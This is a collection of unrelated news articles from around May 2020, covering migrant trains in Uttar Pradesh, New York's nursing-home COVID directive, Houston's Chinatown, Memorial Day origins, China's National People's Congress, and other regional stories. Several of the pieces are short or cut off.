"Of 1,199, 930 trains have arrived so far in the state. On Friday, 117 trains are coming. Till now over 20 lakh migrants have arrived in the state in trains, buses and other modes of transport," he added.

The official said that of the total trains, 153 have arrived in Gorakhpur, 71 in Jaunpur, 66 in Lucknow, 10 in Agra, 37 in Ballia, 42 in Allahabad, 41 in Pratapgarh, 57 in Varanasi, 54 in Gonda, 45 in Basti and 30 in Ayodhya and other stations.

The maximum of 379 trains have arrived in the state from Gujarat, bringing over 5.36 lakh migrants, followed by 192 from Maharashtra, 159 from Punjab, 47 from Delhi, 35 from Karnataka and 30 from Rajasthan, he said, adding that over 2 lakh people are coming to the state every day.

"We are taking it as a challenge and our district magistrates are working day and night to receive the migrants, who are being tested and those with symptoms being isolated. We have got 70,000 to one lakh migrants in many districts," Awasthi said.

"After their home-quarantine is completed, the state government will be providing them jobs as per their skills, data of which is being collected," he said.

The government is also providing Rs 1,000 and food packets to the migrants, the official added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
More than 4,300 recovering coronavirus patients were sent to New York's already vulnerable nursing homes.

The state directive, which said nursing homes could not refuse to accept patients from hospitals who had been diagnosed with COVID-19, was issued on March 25.

It was ultimately scrapped amid widespread criticism that it was accelerating the nation's deadliest outbreak as patients went into the homes and infected more residents ultimately leading to more than 5,800 nursing and adult care facility deaths in New York.

The Associated Press compiled its own tally to find out how many coronavirus patients were discharged from hospitals to nursing homes after New York's Department of Health and Mental Hygiene declined to release its internal survey conducted two weeks ago.

Whatever the full number may be, nursing home administrators, residents' advocates and relatives say it has added up to a big and indefensible problem for facilities.

Even Governor Andrew Cuomo - the main proponent of the policy - has previously called nursing homes 'the optimum feeding ground for this virus.'

Nursing homes said they felt obligated to take in patients and that they didn't have an option to say no. Pictured: EMTs transport a patient from a nursing home to an emergency room bed at St Joseph's Hospital in Yonkers, NY, April 20

It was reversed on May 10, with Gov Andrew Cuomo recently blaming the Trump administration for the directive. Pictured: Cuomo address the media on May 21

'It was the single dumbest decision anyone could make if they wanted to kill people,' Daniel Arbeeny said of the directive.

After the policy was issued, Arbeeny pulled his 88-year-old father out of a Brooklyn nursing home where more than 50 people have died. His father later died of the virus at home.

'This isn't rocket science,' he said. 'We knew the most vulnerable - the elderly and compromised - are in nursing homes and rehab centers.'

New York's Health Department declined to comment after being told of the AP's tally.

In a statement, a spokesperson said the department is still evaluating data on its own survey of nursing homes admission and re-admissions.

On May 10, Cuomo, a Democrat, reversed the directive, which had been intended to help free up hospital beds for the sickest patients as cases surged.

But he continued to defend it this week, saying he didn't believe it contributed to the more than 5,800 deaths in New York - more than in any other state - and that homes should have spoken up if it was a problem.

'Any nursing home could just say: 'I cant handle a COVID person in my facility,'' he said during a press conference.

However, the directive didn't specify how homes could refused, reading: 'No resident shall be denied re-admission or admission to the [nursing home] solely based on a confirmed or suspected diagnosis of COVID-19.'

More than a month later, on April 29, the Health Department clarified that homes should not take any new residents if they were unable to meet their needs, including a checklist of standards for coronavirus care and prevention.

But the order was oddly contradictory from the beginning considering that Cuomo issued a policy earlier in March banning visitors from nursing homes.

'If you care about someone in a nursing home, the last thing you want is to endanger that person,' Cuomo said on March 12.

'A grandchild going to visit his or her grandmother who walks in the virus, you're not doing anyone a service.'

But how is allowing visitors deemed too dangerous but admitting patients to the facility who may or may not still have COVID-19 not also deemed dangerous?

In the meantime, some nursing homes felt obligated and overwhelmed.

Gurwin Jewish, a 460-bed home on Long Island, seemed well-prepared for the coronavirus in early March, with movable walls to seal off hallways for the infected.

But after the state order, a trickle of recovering COVID-19 patients from local hospitals turned into a flood of 58 people.

More walls were put up, but other residents nonetheless began falling sick and dying. In the end, 47 Gurwin residents died of confirmed or suspected COVID-19.

The policy received widespread criticism for putting the state's elderly and most vulnerable at risk of the virus. Pictured: A patient is wheeled out of the Cobble Hill Health Center by emergency medical workers in Brooklyn, NY, April 17

The state order 'put staff and residents at great risk,' Gurwin CEO and president Stuart Almer said.

'We can't draw a straight line from bringing in someone positive to someone catching the disease, but we're talking about elderly, fragile and vulnerable residents.'

The Society for Post-Acute and Long-Term Care Medicine, known as AMDA, had warned from the beginning that Cuomo's order admitting infected patients posed a 'clear and present danger' to nursing home residents.

Now, Jeffrey N Nichols, who serves on the executive committee of the group, said 'the effect of that order was to contribute to 5,000 deaths.'

Across the country, more than 35,500 people have died from coronavirus outbreaks at nursing homes and long-term care facilities, about a third of the overall death toll, according to the AP's running tally.

On Wednesday, Cuomo deflected criticism over the nursing home directive by saying it stemmed from Trump administration guidance.

'Anyone who wants to ask, 'Why did the state do that with COVID patients in nursing homes,' it's because the state followed President Trump's CDC [Centers for Disease Control and Prevention] guidance,' he during a press conference.

'They should ask President Trump. I think that will stop the conversation,' he repeated.

Still, few states went as far as New York and neighboring New Jersey, which has the second-most care home deaths, in discharging hospitalized coronavirus patients to nursing homes.

California followed suit but loosened its requirement following intense criticism.

Some states went in the opposite direction. Louisiana barred hospitals for 30 days from sending coronavirus patients to nursing homes with some exceptions.

And while Louisiana reported about 1,000 coronavirus-related nursing home deaths, far fewer than New York, that was 40 percent of Louisiana's statewide death toll, a higher proportion than in New York.

New York's Health Department told the AP on May 8 it was not tracking how many recovering COVID-19 patients were taken into nursing homes under the order.

But the state was, at that very moment, surveying administrators of the state's more than 1,150 nursing homes and long-term care facilities on just that question.

Those survey results have yet to be released. But regardless, the Health Department said, the survey had no bearing on Cuomo's announcement May 10 that 'we're just not going to send a person who is positive to a nursing home after a hospital visit.'

Cuomo said such patients would be accommodated elsewhere, such as sites originally set up as temporary hospitals.

To some, the governor's reversal came too late.

'It infected a great number of people in nursing homes who had no business getting infected, including short-term residents who were there for rehabilitation after surgeries,' said John Dalli, a New York attorney who specializes in nursing home cases.

To be sure, incoming residents weren't the only possible source of infection. Some homes believe a bigger contribution came from staffers and residents unaware they had the virus.

And some say they would have taken on COVID-19 patients regardless of the state's order.

'There were nursing homes that realized that there was a void,' said Sarah Colomello, a spokeswoman for Thompson House in Rhinebeck.

The 100-bed facility set up an isolated unit where affiliated hospitals nearby have sent at least 21 patients. It has reported no deaths.

Cuomo administration officials say the original directive came when the governor feared the hospital system would be overwhelmed and was focused on creating as much hospital space as possible.

But critics say the guidance, which may have started out as meaning well for healthcare systems, was a tragic mistake.

'It wasn't just a mistake, it was a fatal mistake that led to wide confusion,' Queens Assemblyman Ron Kim told CBS 2 New York.

'The directive treated nursing homes as if they were hospitals, and they're not.'
Gorakhpur, May 22 : Setting an example of sorts, Uttar Pradesh Chief Minister Yogi Adityanath has allowed demolition of shops in the Gorakhnath temple here, of which he is the head priest.

The shops in the temple complex were coming in the way of widening of road that leads from Mohaddipur to Jungle Kaudia in Gorakhpur. The road is being converted into a 17 kilometres long four-lane road to ease traffic bottlenecks.

About two dozen shops located in the temple complex were proving to be a hurdle in road widening and they were demolished on Thursday.

When the proposal for road widening was being prepared, Adityanath had given permission for demolition of the shops that were coming in the way. The Chief Minister had asked officials to prove alternative accommodation to shop keepers who have been displaced so that their earnings were not impacted.

Official sources said that there is a proposal to construct a shopping complex on a land adjacent to the temple complex for these shop keepers. The map of the same has been approved by the Gorakhpur Development Authority (GDA).

"The Chief Minister did not take even a minute to allow demolition of shops for the development of the city. The new four-lane road will ease traffic congestion in the city," said an official on condition of anonymity.

The Gorakhnath temple is one of the most revered shrines in the region and is the seat of 'Gorakhshdham'. Lakhs of devotees visit the temple all year round.
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The market at Hong Kong City Mall on Bellaire Boulevard was humming with shoppers on a recent afternoon. A smattering of customers visited the few hair salons and jewelry stores that were open for business.

At Dun Huang Plaza, a two-level shopping center near the core of the regions Chinatown district, the owners of Yumcha Tea House and Bakery were making plans to reopen their dining room, waiting for most of their employees to feel safe enough to return and likely pushing out the day they resume dine-in by another few weeks.

Signs of life are emerging throughout the strip centers and mini malls that dominate the stretch of Bellaire on either side of Beltway 8. But as with the rest of the city, business and retail reopenings have been spotty, and a return to normalcy feels like a distant concept  perhaps even more so in Chinatown.

SHOPPING IN A PANDEMIC: A slow start in reopening retail

Asian-owned businesses in this part of west Houston started feeling the financial drag of the coronavirus earlier than others, and some say their recovery will take longer. Many businesses that are allowed to reopen remain closed. Some have locks on their doors or for lease signs in their windows.

Much of the pain is a direct result of the pandemic and the shutdown that came with it. But business disappeared earlier, and employees are shying away for longer, in part because of Chinatowns identity as an international hub. Many who live there have been especially cautious because of the stories theyve heard from family in China, where the pandemic hit first, and America, where cases of anti-Asian harassment are on the rise. Meanwhile, some politicians have taken to blaming the virus on China.

Alex Au-Yeung, owner of Maylaysian street food restaurant Phat Eatery in an Asian-focused shopping center in Katy, said Chinatown faces unique challenges to recovery because theres still a perception that it may be a location with a heightened risk of contracting the novel coronavirus.

Theyre still pretty slow right now in Chinatown, because its still in the middle of everything  at least, thats what people think, Au-Yeung said.

Au-Yeung operated restaurants, bars, a karaoke business and a computer company that served food and beverage establishments before opening Phat Eatery in the Katy Asian Town development, and he said that the areas ethnically diverse customer base helped insulate it from the early dips Chinatown businesses saw immediately after the coronavirus began to spread in Wuhan, China.

Lasting impact

About 50 percent of the retail businesses in Chinatown remain closed, said Kenneth Li, chairman of the Southwest Management District and broker of the real estate firm Southwest Realty Group.

Restaurants and dessert shops, hair salons and massage spas and storefront service professionals like tax preparers and travel agents have posted signs on their doors in English or Chinese informing customers of their status. One restaurant excitedly announced it would open on weekends. Others provided future dates at which they would reopen or were unclear about their future.

REVISITING CHINATOWN: Hear the owners of Mala Sichuan discuss reopening strategies

Without customers, whether because they remain closed or because patrons have yet to return, many small-business owners are struggling to pay rent.

Mike Wong, a commercial real estate agent who represents landlords and tenants in Chinatown and elsewhere, has been encouraging struggling retailers to talk to their landlords. But Asian business owners, he said, generally dont like asking for help.

Asians are kind of that silent group. We duck our heads and work. We dont talk about our problems, Wong said. We kind of wait until the very end.

Some landlords have been willing to offer relief. Others have asked for an overwhelming amount of paperwork, which can be discouraging to small mom-and-pop shops, Wong said.

And many that do want to reopen have found that many employees are not yet ready to risk interfacing with the public.

After a false rumor spread on social media early this year that a worker at one of the area grocery stores had the virus, some employees of the Yumcha tea shop stopped coming to work, said co-owner John Yang.

Our employees are just afraid, he said. Theyre teenagers. Their parents are are really concerned.

For some businesses, the COVID-19 pandemic will mean the end of the road.

Shirley Qing, a real estate agent who works with clients in Chinatown, said shes recently noticed restaurants quietly shopping themselves around. But buyers are looking for deals.

If they are approached for $1 million, they say, What about half a million? Qing said.

A restaurants worth is based on its revenue and expenses, she explained, and the pandemic has made it impossible to know how future revenues and expenses will compare to those the company is currently experiencing and to its pre-COVID baseline.

OFFICE MARKET IN PERIL: Dire prospects for Houstons commercial real estate as pressures mount

Li estimated that about 10 percent of restaurants have been looking to sell because of pandemic-related financial challenges.

Strong fundamentals

Still, Chinatown historically has had strong occupancy among its commercial buildings, according to real estate agents. If a business is not able to survive, another was usually waiting to take its space.

Before COVID if you drove around Chinatown it appeared as if occupancy rates were pretty close to 100 percent, Wong said.

Li said he used to have a long list of clients waiting to get into Chinatown because of the markets established clientele and relatively affordable rent. Theres demand. Always, he said.

HOUSING MARKET TUMBLES: Residential real estate market plunges amid COVID and oil bust

Yang and his partners in Yumcha Tea House and Bakery opened their store in Dun Huang Plaza last fall. They had gone to China to study tea shops and learn different drink recipes using fruit and other fresh ingredients. Their plan was to sell teas made with organic ingredients in a store that had a higher quality design than their competitors.

We wanted to create a really nice space to hang out not just having a tea, Yang said. We wanted to put a lot of efforts on the interior design to bring out our branding, to be unique.

Even as they struggle with reopening their store  two of the owners have full-time jobs outside of the business  the partners decided a few weeks ago to take over another tea shop whose owner has been struggling to stay afloat.

We actually got it for a really low price because he was really desperate to sell, Yang said.

The new store is in Katys Asian Town at the northeast corner of Interstate 10 and the Grand Parkway. They plan to open at the end of June.

This is one of our biggest decisions we had to make during this time, Yang said, because we dont know what the future will look like.

nancy.sarnoff@chron.com

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Nowadays, Memorial Day honors veterans of all wars, but its roots are in Americas deadliest conflict, the Civil War. Approximately 620,000 soldiers died, about two-thirds from disease.

The work of honoring the dead began right away all over the country, and several American towns claim to be the birthplace of Memorial Day. Researchers have traced the earliest annual commemoration to women who laid flowers on soldiers graves in the Civil War hospital town of Columbus, Miss., in April 1866. But historians like the Pulitzer Prize winner David Blight have tried to raise awareness of freed slaves who decorated soldiers graves a year earlier, to make sure their story gets told too.

According to Blights 2001 book Race and Reunion: The Civil War in American Memory, a commemoration organized by freed slaves and some white missionaries took place on May 1, 1865, in Charleston, S.C., at a former planters racetrack where Confederates held captured Union soldiers during the last year of the war. At least 257 prisoners died, many of disease, and were buried in unmarked graves, so black residents of Charleston decided to give them a proper burial.

Clubhouse at the race course where Union soldiers were held prisoner. | Civil war photographs, 1861-1865, Library of Congress, Prints and Photographs Division.

In the approximately 10 days leading up to the event, roughly two dozen African American Charlestonians reorganized the graves into rows and built a 10-foot-tall white fence around them. An archway overhead spelled out Martyrs of the Race Course in black letters.

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About 10,000 people, mostly black residents, participated in the May 1 tribute, according to coverage back then in the Charleston Daily Courier and the New York Tribune. Starting at 9 a.m., about 3,000 black schoolchildren paraded around the race track holding roses and singing the Union song John Browns Body, and were followed by adults representing aid societies for freed black men and women. Black pastors delivered sermons and led attendees in prayer and in the singing of spirituals, and there were picnics. James Redpath, the white director of freedmans education in the region, organized about 30 speeches by Union officers, missionaries and black ministers. Participants sang patriotic songs like America and Well Rally around the Flag and The Star-Spangled Banner. In the afternoon, three white and black Union regiments marched around the graves and staged a drill.

Story continues

The New York Tribune described the tribute as a procession of friends and mourners as South Carolina and the United States never saw before. The gravesites looked like a one mass of flowers and the breeze wafted the sweet perfumes from them and tears of joy were shed.

This tribute, gave birth to an American tradition, Blight wrote in Race and Reunion: The war was over, and Memorial Day had been founded by African Americans in a ritual of remembrance and consecration.

In 1996, Blight stumbled upon a New York Herald Tribune article detailing the tribute in a Harvard University archive  but the origin story it told was not the Memorial Day history that many white people had wanted to tell, he argues.

About 50 years after the Civil War ended, someone at the United Daughters of the Confederacy asked the Ladies Memorial Association of Charleston to confirm that the May 1, 1865, tribute occurred, and received a reply from one S.C. Beckwith: I regret that I was unable to gather any official information in answer to this. Whether Beckwith actually knew about the tribute or not, Blight argues, the exchange illustrates how white Charlestonians suppressed from memory this founding. A 1937 book also incorrectly stated that James Redpath singlehandedly organized the tribute  when in reality it was a group effort  and that it took place on May 30, when it actually took place on May 1. That book also diminished the role of the African Americans involved by referring to them as black hands which only knew that the dead they were honoring had raised them from a condition of servitude.

An Alfred Waud illustration of the.Union soldiers cemetery known as

The origin story that did stick involves an 1868 call from General John A. Logan, president of a Union Army veterans group, urging Americans to decorate the graves of the fallen with flowers on May 30 of that year. The ceremony that took place in Arlington National Cemetery that day has been considered the first official Memorial Day celebration. Memorial Day became a national holiday two decades later, in 1889, and it took a century before it was moved in 1968 to the last Monday of May, where it remains today. According to Blight, Hampton Park, named after Confederate General Wade Hampton, replaced the gravesite at the Martyrs of the Race Course, and the graves were reinterred in the 1880s at a national cemetery in Beaufort, S.C.

The fact that the freed slaves Memorial Day tribute is not as well remembered is emblematic of the struggle that would follow, as African Americans fight to be fully recognized for their contributions to American society continues to this day.
CROMWELL - Mayor Enzo Faienza is drawing praise  amid confusion about the pace and scope of the states re-opening  from residents and small business owners by demanding faster action.

Faienza, a Republican, first attracted notice beyond the borders of Cromwell this month when he sent a letter to Gov. Ned Lamont, a Democrat, in which he outlined what he said are the perils facing small businesses.

He followed that with a series of toughly worded comments during a special Town Council meeting on Tuesday during which the council weighed what actions - if any - it could take to force the governor to speed-up the reopening of the state.

Aided in part by a well-organized media blitz, Faienza has become a voice for the discontented and those who want to return to some recognizable form of normal.

The response in support of the Town Councils actions have been overwhelmingly supportive (by) residents and businesses, Faienza said in an email Thursday.

That support has come not just from Cromwell residents, but statewide from small business owners via social media saying thank you for standing up for small business, he said.

Some of those commenting suggest Faienza look in a possible new direction.

The other big thing I have been hearing is many of these individuals saying I should run for governor, that we need more common-sense ideas and strategies, he said.

Faienza, 47, who says he was moved to get involved in politics by the example of former President Ronald Reagan, is the married father of a young daughter, and manages this family-owned Universal Ceramic Tile Distributors, which is located on Murphy Road by Hartfords Brainard Airport.

Faienza has said he initially supported Lamonts actions calling residents to shelter-in-place and shutting down many medium and small businesses.

But as the weeks turned into months, Faienza said he began to chafe at the lock-down.

And so, he composed his May 8 letter to Lamont.

In it, Faienza said that even as the coronavirus was killing thousands of people, the shelter-in-place orders and ambiguities about which businesses could remain open would mean the end for some small businesses.

He called attention to the fact shoppers could go to Walmart to buy clothes, but resident Cindy Lynn couldnt open her Main Street shop, Big Deals Plus.

Lynn was much more prepared to handle social distancing in her small store than the big-box store, he suggested.

The letter attracted attention in town, but it was just the beginning of what Faienza is now approached as a crusade.

He spoke briefly with Lamont about the contents of the letter.

But Lamont said he would continue to follow a phased re-opening program worked out in consultation with public health officials, the mayor said.

But when Lamont abruptly canceled the scheduled re-opening of beauty salons and barber shops just two days before it was supposed to take effect, Faienza decided more direct actions were needed.

He scheduled a special meeting of the Town Council to explore what options were available to the town.

The meeting was carried to a larger audience via Zoom and on the town website.

Joined by the four other Republicans on the council, Faienza approached Lamont in a more direct way, calling on the governor to give imperiled small businesses a chance to open and, in doing so, perhaps survive.

He was aided by a well-coordinated media blitz.

The council eventually agreed to allow the town attorney to draft a declaration setting out the towns position.

The meeting - and his comments - propelled an immediate reaction, Faienza acknowledged.

Several towns have expressed interest in the declaration and may follow our lead, he said.

The response on social media has been favorable, with one person praising him to standing up for the little guy, while on woman wrote, My heart goes out to you.

And about that talk about Faienza for governor?

Former first selectman Mertie L. Terry, long a mainstay in GOP politics in Cromwell, said, Hes got a lot going for him.

jmill@middletownpress.com
Victoria's primary producers have escaped China's trade bans and tariffs relatively unscathed, as the state pushes ahead with its Belt and Road Initiative agreement in defiance of its critics.

As criticism mounted on Friday about the Victorian government's involvement in China's Belt and Road Initiative over claims it was against the national interest, it released unpublished figures revealing its vast trade and investment relationship with China, and the revenue it generates.

Xi Jinping raises his glass for a toast during the Belt and Road forum in Beijing in April 2019. Credit:AP

They show the state reaped $6.7 billion in merchandise exports last year, an estimated $4.17 billion from Chinese students in 2018-19, and $3.4 billion from Chinese tourists last year.

Two-way merchandise trade between Victoria and China totalled $30.7 billion last year, an increase of more than 60 per cent since 2014. Victoria's primary producers are also heavily reliant on the Chinese market, exporting $4.6 billion worth of food and fibre goods to China in 2018-19.
Weather Alert

...WIND CHILL ADVISORY IN EFFECT FROM 7 PM THIS EVENING TO 10 AM EST FRIDAY... * WHAT...Very cold wind chills expected. Wind chills as low as 20 to 29 below zero. * WHERE...Central, northern and southern Vermont and northern New York. * WHEN...From 7 PM this evening to 10 AM EST Friday. * IMPACTS...The dangerously cold wind chills could cause frostbite on exposed skin in as little as 30 minutes. * ADDITIONAL DETAILS...Temperatures will drop well below zero tonight into early Friday morning with northwest winds of 5 to 10 mph expected across the region. The coldest wind chills are expected between 5 AM and 9 AM Friday with winds expected to weaken as the day progresses. Temperatures will remain on the cold side throughout the day with high temperatures only climbing into the single digits above zero. PRECAUTIONARY/PREPAREDNESS ACTIONS... Use caution while traveling outside. Wear appropriate clothing, a hat, and gloves. &&
The Trump administration has relented and will allow more time for opinions on plans to lease public land to oil and gas companies after outrage that the tribal communities who would be most affected were unable to join the scheduled "virtual" meetings and are being severely impacted by the coronavirus.

Department of Interior (DOI) Secretary David Bernhardt agreed on Wednesday to extend the comment period on drilling plans for areas around Chaco Canyon Historical Park in New Mexico.

Last week, the Bureau of Land Management (BLM), part of the DOI, held a series of Zoom meetings - despite the fact that many Native American communities in the area have limited access to internet. A Federal Communications Commission report found that less than half of households on tribal lands have access to fixed broadband service.

The Navajo Nation, who are most impacted by the fracking plans, has now surpassed New York as the area with the highest number of coronavirus cases per capita in the US.

Navajo Nation has a population of around 173,000 people across their lands in Arizona, Utah and New Mexico. The tribe has 4,153 confirmed cases and 144 deaths from Covid-19.

The crisis prompted Doctors Without Borders - who typically work in war zones - to send a team to the Navajo Nation, the first time the organisation has done so in the US.

The Chaco Canyon region is home to thousands of sacred, ancestral sites of indigenous peoples including the Hopi, Navajo and Zuni. It was named a UNESCO World Heritage site in 1987.

Pueblo Bonito, Chaco Culture National Historical Park, New Mexico (William Silver/Shutterstock)

In a statement to The Independent, Food & Water Action organizer Margaret Wadsworth said: This extension is a victory for the communities fighting to protect Chaco and the people whose health and well-being are threatened by more fracking. The Bureau of Land Management should have made this decision in the first place.

"The Navajo Nation has been devastated by the COVID-19 pandemic, and could not meaningfully participate in hearings where their voices would be essential. The real task for the BLM is to create a plan that puts the protection of our air, water, and health first, and not the interests of oil and gas corporations.

The BLM Farmington Mancos-Gallup Management Plan involves 4.1m acres and proposes up to 3,200 oil and gas wells in the next 15 years. BLMs environmental impact statement predicts that 75,000 acres will be disturbed over the next two decades, 60% of which will remain disturbed by the end of the project, the Union of Concerned Scientists noted.

Public meetings are part of the democratic process of decision-making when it comes to public lands. Last week, the first "virtual meeting" - which had a Zoom and dial-in option - was mired with technical difficulties. Some callers seemed to struggle with poor phone reception and other technical aspects.

BLMs deputy director for policy and programs, William Perry Pendley, had described online meetings over the oil drilling proposals as a way to reduce our carbon footprint.



A number of people who joined the call made emotional pleas for BLM to extend the public comment period due to the coronavirus pandemic. Hundreds of other tribal, political and conservation leaders also demanded an extension.

Navajo Nation Council Delegate Daniel Tso said earlier this month that the Covid-19 pandemic had prevented them from being able to engage fully in the process and asked for the comment period to be delayed.

On Wednesday, Interior Secretary David Bernhardt said he will extend the comment period for the drilling plans most likely for 120 days" after meeting with leaders from the Navajo Nation and All Pueblo Council of Governors. The 90-day public comment period was scheduled to end on 28 May.

Mr Bernhardt told The Albuquerque Journal that "obviously, the pandemic is an issue" and said that he had been "moved" by his visit to the region and speaking with the indigenous leaders. "I anticipate that requirement will be extended," he added.
by Wang Zhicheng

At the opening of the National People's Congress, Premier Li Keqiang makes many promises: support for the recovery; fight against unemployment; openness to foreign investments, "mutual benefit" projects in the "Belt and Road initiative". In the general crisis, the budget for the Armed Forces grows by 6.6%. Taiwan's independence struggle and national security law for Hong Kong.

Beijing (AsiaNews) - For the first time in the history of the National People's Congress (NPC), the Chinese parliament, the government has not set any economic growth targets, due to the difficulties resulting from the pandemic. This was announced by Premier Li Keqiang at the opening of the annual NPC meeting this morning.

In the first quarter of this year, the Chinese giant recorded a negative growth of 6.8%. The prime minister promised a commitment from the leadership to support growth, the recovery of businesses and reabsorb unemployment, which threaten to undermine social stability.

On the other hand, Li Keqiang said that the army's budget will grow 6.6%. The increase is the lowest in the past 20 years. In total, since 1999, the budget of the Armed Forces has grown at least 12 times. Li defends this expenditure, claiming that it is below 2% of the total state budget, but international organizations such as the Sipri (Stockholm International Peace Research Institute) claim that the official figures do not consider many other elements, such as operations in the islands of the South China Sea.

In his report on the work of the government, said the central government would accurately implement the one country, two systems and the principle of the Hong Kong people governing Hong Kong.

It also said a sound legal system and enforcement mechanism for safeguarding national security in the Hong Kong special administrative region should be established by the NPC.

As for Taiwan, Li condemned separatist attempts to independence on the island, and renewed the commitment to peaceful reunification. Just in recent days, at the inauguration of President Tsai Ing-wen's second term, Beijing had threatened the use of force if the "rebel" island dared to move towards independence.

He also promised them to implement the trade agreement with the United States from next January, following President Trump's threats to put tariffs on countless Chinese export products. Li also said that China wants to work for a multilateral trading system and reforms of the world trade organization, and that it will push for a free trade agreement between China, Japan and South Korea.

He promised them to open up more space for foreign investment, guaranteeing equal treatment to Chinese and non-Chinese companies; he said his government will be busy tackling the unemployment crisis; he assured that the "Belt and road initiative" projects will continue with "mutual beneficial results". Many African countries, together with Pakistan and Sri Lanka have denounced Beijing for leading them into a "debt trap", promising them loans for gigantic infrastructure projects, which these countries cannot repay.
This is the second breakthrough in the fight against COVID-19 in India.

Bangalore: A Bangalore-based start-up Sravathi has discovered a new potential drug for COVID-19 by using Artificial Intelligence and other advanced computing techniques, even as the whole world is reeling under the life threatening effects of this deadly virus.

This is the second breakthrough in the fight against COVID-19 after the Indian Institute of Science (IISc) that is working on the vaccine to combat the pandemic.

Sravathi, which was started by technocrats with vast industrial experience, has come up with more than 100 new molecules that are completely new chemical entities and validated through various physics and mathematics-based models. The start-up further selected molecules & customised them to check for its effectiveness as a cure for COVID-19.

Dr. Kishan Gurram, MD & CEO, Sravathi said, We have used multi-disciplinary experts to get synergy and understand entire mechanism to come up with several new drug like inhibitors. Within a short time, Sravathi scientists designed 250,000 molecules and were able to come up with several effective molecules which inhibit the enzyme.

He added, "Further, we have predicted various chemical, fingerprint, biological and toxicity properties using advanced techniques to down select final molecules.

The aim of this year-old startup is to develop new breakthrough technologies using advanced tools such as Artificial Intelligence, flow chemistry and modeling techniques. It believes in multi-disciplinary experts to solve problems and has built capabilities accordingly.

Sravathi has started exploring external partnerships to continue its efforts in the entire drug development cycle and bring the drug to the market at earliest after appropriate required approvals.

Meanwhile, the researchers of SN-Life Sciences, in collaboration with TESPA India at Bangalore Bio Innovation Centre, have developed a programmable robotic machine that will bring down the cost of COVID-19 testing to Rs 500 from the current Rs 4,500. The innovation team was headed by Dr Harsh Vardhan Batra, the former DRDO director.

The machine performs the function of RNA isolation from clinical samples of sputum/swab without using the imported kit and it can do eight samples simultaneously.
A military court in Vietnam on Thursday sentenced a former deputy defense minister to four years in prison for his lack of responsibility in land management, leading to the government losing over US$40 million.

The Navys Court found Nguyen Van Hien, ex-Deputy Minister of National Defense, guilty in a scandal in which he signed documents to allow private companies to lease three prime land plots in Ho Chi Minh City from the naval force, according to court documents.

The plots, managed by the Navy, are located at No. 2, 7-9, and 9-11 on Ton Duc Thang Street in District 1.

Hien was commander of the Navy when he approved the land deals.

His lack of responsibility in approving the deals eventually led to the Navy losing control of the three land plots, causing the government to suffer a loss of over VND393 billion ($40.3 million), the court concluded.

The military court also condemned four other military officers to 4-9 years in jail for their roles in the scandal.

In mid-May, Hien was expelled from the Communist Party of Vietnam over his wrongdoings in the case.

Last year, Prime Minister Nguyen Xuan Phuc decided to strip Hien of his past title of commander of the Navy as an initial punishment for his violations.

Hien, 66, was deputy defense minister from 2009 to 2016.

He was voted as a member of the National Assemblys security and national defense committee in 2011.

He was trained at a missile school in Azerbaijan.

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In 2016, Medicare began requiring each facility to employ an infection preventionist to oversee policies and train workers. But that is often a part-time position. The person in charge of infection control always has another job, Dr. Sloane said. That person also doesnt have much clout.

Last year, Medicare proposed relaxing that rule, so that the preventionist no longer needed to be an employee, but must log sufficient hours, which Ms. Grant called part of the deregulatory policy of this administration. She thinks the pandemic has instead spotlighted the need for mandatory, full-time infection preventionists.

Change designs

American nursing homes have, on average, about 100 beds, in rooms flanking long corridors, with staff moving from one to another. Residents typically share a small room and bathroom  an arrangement that many dislike, and one that provides excellent conditions for viral transmission. Assisted living complexes appear to have fared somewhat better during the pandemic, partly because individual apartments make isolation easier.

Its time to really focus on private rooms in nursing homes, said Karl Pillemer, a gerontologist and researcher at Cornell University. In the Green House model, for example, a dozen residents live in private rooms with homelike common spaces and assigned staff who know them well. This approach has gained ground very slowly, with 268 homes, of more than 15,000 nursing homes nationwide.

But the Green House Project reports that as of May 21, in 245 homes with 2,653 residents, only nine have had Covid-19 cases, resulting in six deaths. With several small buildings on a campus instead of one large one, administrators could also more easily quarantine infected residents, Dr. Sloane pointed out.

Although new nursing homes offer private rooms, very few are being built. But renovation can create similar small households within older nursing homes, said Martin Siefering, a principal architect who co-directs the senior living practice at Perkins Eastman.

At the New Jewish Homes campus in Mamaroneck, N.Y., for instance, the firm converted 59 of 300 beds into five small house communities. It also retrofitted nonprofit nursing homes in Tulsa, Okla., and Ocean City, N.J., to create smaller households.
Source: Xinhua| 2020-05-22 17:33:09|Editor: huaxia

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TEHRAN, May 22 (Xinhua) -- Iran's Supreme Leader Ayatollah Ali Khamenei on Friday called for "resistance" against Israeli pressures on occupied Palestinian territories, according to the leader's official website.

"My main advice is to continue this struggle" against occupation and to better organize the resistant groups inside Palestinian territories, Khamenei said on the occasion of the International Quds (Jerusalem) Day.

He added Iran will not hesitate in its duty to assist the Palestinians.

Quds Day rallies were held in the capital Tehran on Friday in a symbolic way with motorists driving in convoy to avoid COVID-19 risks.

The day is an annual event observed on the last Friday of the Muslim holy month of Ramadan in Iran and several Muslim countries to support the Palestinian cause.
The Bihar School Examination Board (BSEB) is expected to announce the results of the class 10 examination on Friday at around 6 pm on its official website. Students can check Bihar Board class 10 examination results online at biharboardonline.bihar.gov.in after its declaration.

Last year toppers mostly from SAV

Sawan Raj Bharti of Simultala Awasiya Vidyalaya (SAV) in Jamui had topped the BSEB Class 10th examination 2019. He had scored 97.2%. Out of the top 10 students in the merit list, 9 were from Simultala Awasiya Vidyalaya (SAV) in Jamui.

Last years pass percentage vs Pass percentage in 2018

Last year, the Bihar Board 10th Result was declared on April 6 in which 80.73% of students passed. The pass percentage was 11.84% higher than the 2018 BSEB matric pass percentage of 68.89%.

How to choose stream after results are out

Students should choose their stream of studies based on their interest. If a students likes arts he should arts in Class 11. Many students who dont select subjects according to their liking face difficulties later on in life. However, candidates should also try and understand what is the scope of that subject in the future and how will they plan their career.

Some details about the BSEB 10th examination

BSEB conducted the Bihar Board class 10 examinations from February 17 to 24, in which around 15 lakh students appeared. Last year a total of 16 lakh 60 thousand 609 candidates had registered for the BSEB Matric board exam. Out of which, 8 lakh 42 thousand 888 candidates had appeared in first sitting while in the second sitting 8 lakh 17 thousand 722 candidates appeared.

Click here for full coverage on Bihar Board 10th Result 2020
The Santa Cruz County Sheriff's Office announced Thursday four arrests in connection with the kidnapping and murder of a tech executive last October.

Tushar Atre was kidnapped from his home on Oct. 1 and was found murdered several hours later in the Santa Cruz Mountains.
BAGHDAD, Iraq  After about two months of quiet due to pandemic concerns, Iraqi protesters returned to the streets soon after the formation of the new government.

